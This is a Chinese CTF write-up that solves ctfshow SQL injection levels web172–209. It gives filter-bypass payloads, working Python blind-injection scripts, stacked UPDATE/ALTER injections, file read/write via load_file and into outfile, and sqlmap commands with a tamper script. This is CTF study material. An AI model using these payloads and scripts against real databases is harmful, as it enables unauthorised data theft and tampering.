ctfshow_sql注入

文章目录

  • WEB172
  • WEB173
  • WEB174
  • web175
  • web176
  • WEB177
    • 总结
  • web178
  • web179
  • web180
  • web181
  • web182_同上
  • web183_where子句
  • web184_右连接、内连接、having子句
    • 方法一
    • 方法二
  • web185
  • web186
  • web187_md5绕过
    • md5($password,true)的SQL注入问题
  • web188_mysql弱比较
  • web189-load_file结合regexp盲注
  • web 191 布尔盲注
  • web195——堆叠注入、UPDATE
  • web196——堆叠注入
  • web197——堆叠注入 alert
  • web198
  • web201——sqlmap 绕过referer检查
    • 1. 什么是referer?
  • web 203 sqlmap--method
  • web204 sqlmap--cookie
  • web205 sqlmap--api鉴权
  • web206 sqlmap--符号闭合
  • web207 sqlmap----tamper 的初体验
  • web209

WEB172

查询语句

//拼接sql语句查找指定ID用户
sql = “select username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";

返回逻辑

//检查结果是否有flag
if($row->username!==‘flag’){
$ret[‘msg’]=‘查询成功’;
}

这里说我们返回的语句中不能包含flag内容。
我们可以绕过

1’ union select hex(username),password from ctfshow_user2–+

ctfshow_sql注入_第1张图片

WEB173

查询语句

//拼接sql语句查找指定ID用户
sql = “select id,username,password from ctfshow_user3 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match(’/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}

相对上一题就是多了json_encode
ctfshow_sql注入_第2张图片
可以用编码形式绕过,这里可以用到两个函数
hex : 转16进制
to_base64 : 转base64

1’ union select 1,hex(username),to_base64(password) from ctfshow_user3–+

ctfshow_sql注入_第3张图片

WEB174

查询语句

//拼接sql语句查找指定ID用户
sql = “select id,username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match(’/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}

输入1’ and 1=1#
ctfshow_sql注入_第4张图片
输入1’ and 1=0#
ctfshow_sql注入_第5张图片
从这里就可以分析出来有时间盲注,先看看有没有联合注入,发现没有回显只能时间盲注。
ctfshow_sql注入_第6张图片
这里直接放代码。

import requests

url = "http://2a29bdb8-5bf5-4d82-9391-24cc6beacd48.challenge.ctf.show:8080/api/v4.php?id=1' and "

result = ""
i = 0

while True:
    i = i+1
    head = 32
    tail = 127
    while head < tail:
        mid = (head + tail) >> 1
        payload = f"1=if((ascii( substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid}),1,0)--+"
        r = requests.get(url+payload)
        if 'admin' in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

跑一遍就出flag了。

web175

这里先试一下,然后发现没有回显.
ctfshow_sql注入_第7张图片
这里我们有两种方法,第一种就是把内容读取出来放在网页根目录,第二种就是写盲注的脚本。
这里我先用一下第二种写网站根目录的。

1’ union select 1,password from ctfshow_user5 into outfile ‘/var/www/html/1.txt’–+

web176

打开页面,发现有回显.

ctfshow_sql注入_第8张图片
这里查询错误可能是有过滤,这里试一下绕过方法。
ctfshow_sql注入_第9张图片
先大小写绕过,发现有回显,这里直接查询即可。
ctfshow_sql注入_第10张图片
ctfshow_sql注入_第11张图片

WEB177

ctfshow_sql注入_第12张图片

payload=1’//union//select//password,1,1//from//ctfshow_user//where//username//=‘flag’%23

总结

1、内连绕过/**/
2、编码绕过%23(#)

web178

过滤了空格。

先尝试 1’and’a’='a

发现执行成功。 再尝试1’ and ‘a’='a

失败了。所以很明显,过滤空格。 我们尝试用内敛注释 %09代替空格,以次绕过。
ctfshow_sql注入_第13张图片
ctfshow_sql注入_第14张图片
可以对照这里的绕过方法,我这里采用%0c绕过
ctfshow_sql注入_第15张图片

payload=1’%0Cunion%0Cselect%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

web179

这里还是%0C绕过,然后order by查询到有三个字段。
ctfshow_sql注入_第16张图片
和上题一样的

payload=1’%0Cunion%0Cselect%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

ctfshow_sql注入_第17张图片

web180

payload=-1’or(id=26)and’1’='1
ctfshow_sql注入_第18张图片

web181

还是一样的

payload=-1’or(id=26)and’1’='1
ctfshow_sql注入_第19张图片

web182_同上

web183_where子句

在这里插入图片描述
脚本一

import requests

url = "http://8cbf3df6-45c0-47a3-aa25-28e2a262a9f1.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"

for i in range(0,40):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
        }
        result = requests.post(url,data)
        if 'user_count = 1' in result.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break

脚本二

# @Author:Y4tacker
import requests

url = 'http://57496c50-1b0d-40de-ac22-501e93a1ddbd.chall.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
res = ""
for i in range(1,46):
    for j in flagstr:
        data = {
            'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 1;") > 0:
            res += j
            print(res)
            break

这里我简单样式一下 (ctfshow_user)where(substr(pass,{i},1))regexp(’{j}’) 这个的意思。
ctfshow_sql注入_第20张图片
当我在查询file表code字段的第一个字符是一,有回显
ctfshow_sql注入_第21张图片
0没有回显
ctfshow_sql注入_第22张图片
ctfshow_sql注入_第23张图片
然后通过爆破的方式一个一个试出来,大概就是这么个意思。

长期更新。。。。

web184_右连接、内连接、having子句

查询语句是这样的

//拼接sql语句查找指定ID用户
$sql = “select count(*) from “.$_POST[‘tableName’].”;”;

这个是返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match(’/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into|where|\x26|’|"|union|`|sleep|benchmark/i’, $str);
}

先看看我们上一题的payload

(ctfshow_user)where(pass)like’{}%

可以看到这题相对上一题过滤了where还有单双引号,但是没有过滤空格了。
这题其实我也很蒙,所以去参考了各大师傅的wp,但是其他师傅的wp都是就直接扔一个脚本,我一脸懵逼。

方法一

having语法:

SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name
HAVING aggregate_function(column_name) operator value

具体语法看到https://www.w3school.com.cn/sql/sql_having.asp

首先看到我这里有个file表
ctfshow_sql注入_第24张图片
正常情况下

ctfshow_sql注入_第25张图片

但是我们这里因为过滤了单引号,所以不适用了,就没有其他办法了吗?
办法还是有的,就是去掉单引号把匹配的改成16进制,至于为什么能匹配16进制暂时我没找到解释的文章,所以我也没有找了。(主要是因为懒)

我们这里找个在线网站转换一下
ctfshow_sql注入_第26张图片
然后执行效果是一样的,所以我们开始写payload

import requests

url = "http://3d1238b8-57bd-43c9-b3c3-415cb2fc5135.challenge.ctf.show:8080/select-waf.php"

flag = "ctfshow{"

str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

def str_to_hex(s):
    zimu = ""
    zimu2 = ""
    for i in s:
        zimu += hex(ord(i))
    zimu2 = zimu.replace("0x","")
    return zimu2

for i in range(100):
    for j in str:
        data = {
            "tableName" : "ctfshow_user group by pass having pass like {}".format("0x"+str_to_hex(flag+j+'%'))
        }
        # data = {'tableName': 'ctfshow_user group by pass having pass like {}'.format("0x" + str_to_hex(flag + j + "%"))}
        # print(data)
        r = requests.post(url,data)
        if "count = 1" in r.text:
            flag += j
            print(flag)
            break
        if j == "}":
            exit()

方法二

right join
不知道右连接的可以先看看这篇文章https://blog.csdn.net/lp_cq242/article/details/79942457

这题我们直接放payload

import requests
import sys

url = "http://9adb647c-75c6-410d-a688-cf6d91a3259e.challenge.ctf.show:8080/select-waf.php"

flag = "ctfshow{"

str = "0123456789-abcdefghijklmnopqrstuvwxyz{}"

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace("0x",'')for c in s])

payload = "ctfshow_user as a right join ctfshow_user as b on b.pass like {}"

for i in range(0,100):
    for j in str:
        data = {
            "tableName" : payload.format("0x"+str_to_hex(flag+j+'%'))
            # 'tableName': "ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x" + str_to_hex(flag + j + "%"))
        }
        # print(data)
        result = requests.post(url=url,data=data)
        if '$user_count = 43' in result.text:
            flag += j
            print(flag)
            if j == '}':
                sys.exit()

这里面我用了右连接和内连接,这里要注意内连接和右连接的参数不一样右连接是$user_count = 22,内连接是$user_count = 43,写脚本的时候一定要先带入先测试出数字。

web185

看了这题,只能说师傅们太强了
ctfshow_sql注入_第27张图片

import requests

url = "http://b691bdcf-dc2d-4d56-8fda-7f0fb1273b50.challenge.ctf.show:8080/select-waf.php"

flag = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(60):
    if i <= 9:
        continue
    for j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        # print(data)
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)
                print(data)
                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

还有另一个payload

# @Author:feng
import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num

def createStrNum(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url="http://725b1dd2-e67c-440b-bd3f-ccab7bdad245.challenge.ctf.show:8080/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':"ctfshow_user group by pass having pass like(concat({}))".format(createStrNum(flag+j+"%"))
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 0;" not in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web186

web187_md5绕过

函数

函数:

md5($string,bool): 得到一个字符串散列值。
其中第二个参数默认为false,表示该函数返回值是32个字符的十六进制数。
若指定为true,则表示函数返回的是16字节的二进制格式(这样通过浏览器解析会出现乱码)。

md5($password,true)的SQL注入问题

这里需要注意一下MYSQL中的一些数值比较的特征。

1.当数字和字符串比较时,若字符串的数字部分(需要从头开始)和数字是相同的,那么则返回的是true。

select if(1="1a","相等","不相等") as test

if(exp1,stat1,stat2):类似于高级语言中三元运算符。当exp1为true的是否返回stat1,为false返回stat2

2.以数字开头的字符串,若开头的字符不是0,那么在做逻辑运算的时候返回的是1,也就是true。

比如以下语句就是一个万能密码的例子:

select * from user where password =''or'1234a';

若我们可找到字符串,在对该字符串进行md5后能够得到 'or’加上一个非0的字符就可以绕过。这里我们可以用到的字符串为:ffifdyop。它的md5结果是:276f722736c95d99e921722cf9ed621c 。通过这个结果我们可以发现得到16字节的二进制被解析为字符的结果是:'or’6后面接乱码 (27是单引号的16进制编码,67是字母o的16进制…)这样后构造的sql语句就位

select * from user where password=' 'or'6xxx'

参考文章PHP中MD5常见绕过

web188_mysql弱比较

$sql = “select pass from ctfshow_user where username = {$username}”;

具体介绍看这里https://stackoverflow.com/questions/18883213/why-select-from-table-where-username-0-shows-all-rows-username-column-is-v

我们可以在表中尝试这样的查询
首先我们有这样一个表
ctfshow_sql注入_第28张图片

我们上面name那一行是有一个数字的,发现当name的值为0的时候可以查询出有关字母的行,运行一下发现数字的那一个没有显示

ctfshow_sql注入_第29张图片

这是因为数据库进行了弱比较,它select出所有name是以字母为开头的数据
以字母为开头的字符型数据在与数字型比较时,会强制转化为0,再与数字比较(这里很类似于PHP的弱比较)
假设我们username为0,那么就会相等,从而匹配成功

$row[‘pass’]==intval($password) 这里也是弱比较,$row[‘pass’]如果是字母开头就会转为0

这题有两个解
方法一

username=0&password=0

方法二

username=1||1&password=0 (||可换成or)

ctfshow_sql注入_第30张图片
ctfshow_sql注入_第31张图片

web189-load_file结合regexp盲注

打开题目发现这题和上一题挺像的,这题少了那个强制转换的,所以没法弱比较绕过
ctfshow_sql注入_第32张图片
但是这题有个提示:

flag在api/index.php文件中

这里我们由此可以想到mysql当中有个读文件的函数load_file
ctfshow_sql注入_第33张图片
在这之前我们还得提一下

username=0&password=0返回密码错误,原因在于password不再是以字母开头的字符型数据了

username=1&password=0返回查询失败,因为没有1这个用户

所以这里有一个构造点,就是通过if语句当查询里面的内容相符合的时候我们就返回0,不然就是一

ctfshow_sql注入_第34张图片

payload:username=if(load_file(’/var/www/html/api/index.php’)regexp(‘ctfshow{’),0,1)&password=0

所以我们开始构造脚本

import requests

url = "http://34163922-8c1d-4c8b-ae9b-332f18511a0a.challenge.ctf.show:8080/api/index.php"

flag = "ctfshow{"

str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

for i in range(50):
    for j in str:
        data = {
            "username" : "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
            "password" : 0
        }
        # print(data)
        r = requests.post(url,data)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            flag = flag+j
            print(flag)
            if "}" in flag:
                exit()
            break

web 191 布尔盲注

先看一下拼接语句
ctfshow_sql注入_第35张图片

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
   //密码只能是数字

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }
   //过滤了file,不能通过网页读取文件了。

根据上面的拼接语句以及过滤语句,我们可以想出布尔盲注。

这里我们先看一下查询语句

拼接sql语句查找指定ID用户
$sql = “select pass from ctfshow_user where username = ‘{$username}’”;

输入admin’ and 1=‘1
ctfshow_sql注入_第36张图片
输入admin’ and 1='2
ctfshow_sql注入_第37张图片

这里可以想到利用布尔盲注,这里我们开始写脚本。
payload:

import requests

url = "http://326de554-e624-411c-8dd7-0e0803173905.challenge.ctf.show:8080/api/"
# 目标
result = ""
# 这里是存放最后结果的
i = 0
#

while True:
    # 一直循环
    head = 32
    tail = 127
    i = i + 1

    while head < tail:
        mid = (head + tail) >> 1
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        data = {
            'username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
            # 这句的意思是查询到对应的字符的ascii码是否大于32或者127之间
            'password': '1'
        }

        r = requests.post(url,data)
        if "密码错误" == r.json()['msg']:
            # 当密码大于32和127之间的话,就让mid(32和127的中间值),这里因为是大于74.5,所以要加一
            head = mid + 1
        else:
            tail = mid
        print(r.text)
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

这里说一下就是脚本自己写运行不起来,我这次特意测试了一下,这里错的话一般是错在这里

        data = {
            'username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
            # 这句的意思是查询到对应的字符的ascii码是否大于32或者127之间
            'password': '1'
        }

这里首先注意的是username后面的冒号离username是没有空格的,然后就是payload一定要有括号包住,脚本这个东西错一点点就运行不起来,特别的气。

web195——堆叠注入、UPDATE

很久没有接触堆叠注入,然后一脸蒙,然后我们直接去看大佬博客

0;update`ctfshow_user`set`pass`=999
999

把表里的密码都改成999就可以了。username=0的原因是因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来,不用0的话就0x61646d696e,是admin的十六进制,同样可以。

web196——堆叠注入

看了一下题目又是不会,只能康康师傅们的wp康康师傅们有什么神操作,一看蒙了
ctfshow_sql注入_第38张图片
但是这虽然没有过滤select,这个只能16个字符怎么办,这里我们看到这条语句
ctfshow_sql注入_第39张图片
$row[0]就会等于我们select的内容
payload

1;select(7)
7

web197——堆叠注入 alert

import requests

url = "http://5095145c-e5fa-4b57-97f8-37e3cc8f6c02.challenge.ctf.show:8080/api/"

for i in range(1,100):
    if i == 0:
        payload = "admin;alter table ctfshow_user change `pass` `id2` varchar(100);alter table ctfshow_user change `id` `pass` varchar(100)"
        data = {
            "username" : payload,
            "password" : 1
        }

        r1 = requests.post(url,data)
    data2 = {
        "username" : "0x61646d696e",
        "password" : i
    }
    r2 = requests.post(url,data=data2).text
    print(r2)

    if "ctfshow{" in r2:
        print(i)
        print(r2)
        break

这题因为对用户没有长度限制,所以我们这边可以修改字段。
ctfshow_sql注入_第40张图片
修改字段的语句是:

alter table ctfshow_user change `pass` `id2` varchar(100);

ctfshow_sql注入_第41张图片

web198

ctfshow_sql注入_第42张图片

# username=0;show tables;
# pass=ctfshow_user

web201——sqlmap 绕过referer检查

1. 什么是referer?

简单讲就是当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的。(直接输入网址或者其他页面中的链接点进来的)。

HTTP请求头中的referer字段

1.获取当前MySQL中的所有数据库

python3 sqlmap.py -u “http://43291419-6d58-48ac-88d7-f4216d7fcc25.challenge.ctf.show:8080/api/?id=1” --referer=“ctf.show” --dbs --batch

2.获取当前数据库名字

python3 sqlmap.py -u “http://43291419-6d58-48ac-88d7-f4216d7fcc25.challenge.ctf.show:8080/api/?id=1” --referer=“ctf.show” --dbs --batch ----current-db

3.获取数据库下的数据表

查数据表
sqlmap.py -u “http://ea6a1109-3603-47d2-b9ae-73892287235d.chall.ctf.show/api/?id=1” --referer=“ctf.show” -D “ctfshow_web” --tables

ctfshow_sql注入_第43张图片

4.获取表下的列名
-D 数据库名
-T 数据表名
-C 字段名

python3 sqlmap.py -u “http://43291419-6d58-48ac-88d7-f4216d7fcc25.challenge.ctf.show:8080/api/?id=1” --referer=“ctf.show” -D “ctfshow_web” -T"ctfshow_user" --columns --batch

ctfshow_sql注入_第44张图片

5.导出数据

python3 sqlmap.py -u “http://43291419-6d58-48ac-88d7-f4216d7fcc25.challenge.ctf.show:8080/api/?id=1” --referer=“ctf.show” -D “ctfshow_web” -T"ctfshow_user" -C “pass” --dump

ctfshow_sql注入_第45张图片

开始实战

web 203 sqlmap–method

探测当前数据库

python3 sqlmap.py -u “http://635af35c-5d87-42fb-a83b-75404e0a7f68.challenge.ctf.show:8080/api/index.php” --data=“id=1” --method=PUT --referer=“ctf.show” --dbms=mysql --dbs --headers=“Content-Type: text/plain”

获取数据库下的数据表

python3 sqlmap.py -u “http://635af35c-5d87-42fb-a83b-75404e0a7f68.challenge.ctf.show:8080/api/index.php” --data=“id=1” --method=PUT --referer=“ctf.show” --dbms=mysql --dbs --headers=“Content-Type: text/plain”

获取数据表下的数据字段

python3 sqlmap.py -u “http://635af35c-5d87-42fb-a83b-75404e0a7f68.challenge.ctf.show:8080/api/index.php” --data=“id=1” --method=PUT --referer=“ctf.show” --dbms=mysql -D “ctfshow_web” -T “ctfshow_user” --columns --headers=“Content-Type: text/plain”

获取密码

python3 sqlmap.py -u “http://635af35c-5d87-42fb-a83b-75404e0a7f68.challenge.ctf.show:8080/api/index.php” --data=“id=1” --method=PUT --referer=“ctf.show” --dbms=mysql -D “ctfshow_web” -T “ctfshow_user” -C “pass” --dump --headers=“Content-Type: text/plain”

web204 sqlmap–cookie

探测当前数据库

python3 sqlmap.py -u “http://9afa58f3-b3f5-41f3-bf85-4b45813e299
8.challenge.ctf.show:8080/api/index.php” --method=PUT --data=“id=1” --referer=“ctf.show” --current-db --headers=“Content-Type: text/plain” --cookie=“2i6stejs1u6dd60tmk8qsn1vmf;”

获取数据库下的数据表

python3 sqlmap.py -u “http://9afa58f3-b3f5-41f3-bf85-4b45813e2998.challenge.ctf.show:8080/” --data=“id=1” --referer=“ctf.show” -D “ctfshow_web” --tables headers=“Content-Type: text/plain” --cookie=“2i6stejs1u6dd60tmk8qsn1vmf;”

获取数据表的字段

python3 sqlmap.py -u “http://9afa58f3-b3f5-41f3-bf85-4b45813e2998.challenge.ctf.show:8080/” --data=“id=1” --referer=“ctf.show” -D “ctfshow_web” -T “ctfshow_user” --columns headers=“Content-Type: text/plain” --cookie=“2i6stejs1u6dd60tmk8qsn1vmf;”

获取密码
获取数据表的字段

python3 sqlmap.py -u “http://9afa58f3-b3f5-41f3-bf85-4b45813e2998.challenge.ctf.show:8080/” --data=“id=1” --referer=“ctf.show” -D “ctfshow_web” -T “ctfshow_user” -C “pass” --dump headers=“Content-Type: text/plain” --cookie=“2i6stejs1u6dd60tmk8qsn1vmf;”

web205 sqlmap–api鉴权

ctfshow_sql注入_第46张图片
题目一开始有提示
ctfshow_sql注入_第47张图片
这里直接给出payload吧,希望师傅们按照步骤一步一步来
探测当前数据库

python3 sqlmap.py -u http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --dbs --headers=“Content-Type: text/plain” --safe-url=http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/getToken.php --safe-freq=1

获取数据库下的数据表

python3 sqlmap.py -u http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --headers=“Content-Type: text/plain” -D ctfshow_web --tables --safe-url=“http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/getToken.php” --safe-freq=1

获取数据表的字段

python3 sqlmap.py -u http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --headers=“Content-Type: text/plain” -D ctfshow_web -T ctfshow_flax --columns --safe-url=“http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/getToken.php” --safe-freq=1

获取密码

python3 sqlmap.py -u http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --headers=“Content-Type: text/plain” -D ctfshow_web -T ctfshow_flax -C flagx --dump --safe-url=“http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/getToken.php” --safe-freq=1

web206 sqlmap–符号闭合

这题和上一题是一样的,因为sqlmap会自动的闭合符号,所以这题我就不写payload了对照上一题就好了

python3 sqlmap.py -u http://597c38ad-9b80-464c-8f42-5793a25f35d8.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=“ctf.show” --dbms=“mysql” --headers=“Content-Type: text/plain” -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --cookie=“PHPSESSID=pe66qrqhc0b747dth9gth9989e” --safe-url=“http://597c38ad-9b80-464c-8f42-5793a25f35d8.challenge.ctf.show:8080/api/getToken.php” --safe-freq=1

web207 sqlmap----tamper 的初体验

tamper结构
tamper由三大结构组成,如下:

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
     pass

def tamper(payload, **kwargs):
      pass

PROIORITY
PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper,PRIORITY有以下几个参数:

LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

值越高,优先级越高。因为我们这里只是绕过安全狗,随便设置个值就ok。
dependencies
dependencies主要是提示用户,这个tamper支持哪些数据库,具体代码如下:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

效果图是这样的
ctfshow_sql注入_第48张图片
DBMS.MYSQL这个参数代表的是Mysql,其他数据库的参数如下:

ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"

Tamper

tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里
payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个

从过狗到编写tamper

这里不要全部复制,记住url改一下

python3 sqlmap.py -u url/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --dbs --headers=“Content-Type: text/plain” --safe-url=url/api/getToken.php --safe-freq=1 --tamper=space2comment

sqlmap.py -u “url/api/index.php” --method=PUT --data=“id=1” --referer=ctf.show --headers=“Content-Type: text/plain” --safe-url=“url/api/getToken.php” --safe-freq=1 --dbms=mysql --current-db --dump --batch --prefix="’)" --tamper=space2comment

过空格,这里脚本看不懂建议可以本地调试一下


from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:       # not firstspace 表示为真
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal

web209

这里过滤了空格,*,=号
ctfshow_sql注入_第49张图片

python3 sqlmap.py -u http://8cf83c58-8e06-41ae-95b4-7c1d04a8eb22.challenge.ctf.show:8080/api/index.php --method=“PUT” --data=“id=1” --referer=http://8cf83c58-8e06-41ae-95b4-7c1d04a8eb22.challenge.ctf.show:8080/sqlmap.php --headers=“Content-Type:text/plain” --safe-url=http://8cf83c58-8e06-41ae-95b4-7c1d04a8eb22.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --current-db --dump --batch --tamper=ctfshow

你可能感兴趣的:(#,web,sql,数据库,mysql)